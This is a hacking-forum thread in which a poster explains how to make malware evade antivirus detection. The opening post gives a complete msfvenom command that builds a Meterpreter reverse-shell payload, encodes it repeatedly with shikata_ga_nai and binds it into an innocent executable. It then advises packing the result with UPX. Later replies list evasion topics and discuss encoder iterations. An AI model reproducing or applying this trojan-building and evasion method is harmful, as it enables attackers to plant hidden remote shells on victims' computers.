

Forum:[Hack Forums](#)

Thread: [FUD your malware \(repost containing the guide\)](#)

sh4moon - September 26, 2018, 8:10 pm

The secret (not secret at all, very well known) formula to making a "FUD" .exe is as follows: First of all, encode the payload. Give it at least 10 iterations of something like shikata_ga_nai.

Code msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 20 -x /path/to/innocent/executable.exe -k > Malware.exe This brings down the detection rate a little by itself but it adds up when used with the other techniques. Next we bind it to another executable like a game, notepad (-x is the path to the executable, -k means the innocent exe still runs the same and the malware is just added to the end). Just has to be something less suspicious than your malware. Binding just puts the two files together and when you execute the new executable, both files get executed. Binding is the part that got my detection rate down most, and also makes the malware less suspicious than when you execute it and nothing happens. Lastly you need to compress the file. I don't mean put it in a .zip archive. Use something like UPX (ultimate packer for executables) to make the file smaller: <https://github.com/upx/upx>. There are other tools to bind the files together. I haven't really found one I like a lot, so I just use metasploit's. This isn't really guaranteed to 100% prevent AV detection, but it is very effective. As for runtime detection, that has more to do with what your malware is doing and less with the file itself. It's not perfect, but it works well.

3DES - September 26, 2018, 10:11 pm

Bro you dont know shittt...

b1tk1d - September 27, 2018, 2:52 am

Sometimes it's hard to find stuff if u don't know the right buzzwords thats why i'm providing some. This will allow u to take further researches about the topic.

Hints:

- NOP's
- Encoders
- D/Encryption
- Exploit
- Metasploit
- Msfvenom (Is the default and easy way to actually NOT doing it good, as u'd with metasploit..)
- C Programming
- Bufferoverflow
- Hex
- 0x00.... and AAAAAA....
- Checksum
- AV Hashing

Don't research on FUD. This wont bring u anywhere and is frequently used by s(h)idies

sh4moon - September 27, 2018, 5:24 am

(Sep 27, 2018 02:52 AM)b1tk1d Wrote: [\[CITE\]](#) Don't research on FUD. This wont bring u anywhere and is frequently used by s(h)idies

lol I don't research fud. I find the term kind of ridiculous. that's the type of word noobs know the meaning of however. but fuck, if I've got more advanced readers then I'll use proper terminology. but this was more for new people so...

CyberStrike - September 27, 2018, 5:32 am

(Sep 27, 2018 02:52 AM)b1tk1d Wrote: [\[CITE\]](#) Don't research on FUD. This wont bring u anywhere and is frequently used by s(h)idies

I like this guy, he hates that term "FUD" it's like that plate of shit the movie "ZooKeeper" then they reheated it in the microwave and called it " Zookeeper 2 : Zookeepier".

I personally don't like too many iterations of encoders some like shata ga nai will be called malicious by some AV's right away.

sh4moon - September 27, 2018, 5:38 am

yeah, the encoder actually helped when the payload was bound to the normal exe. without the encoder the bound payload had a few more detections. the actual number of iterations necessary is something I'm still not 100% sure on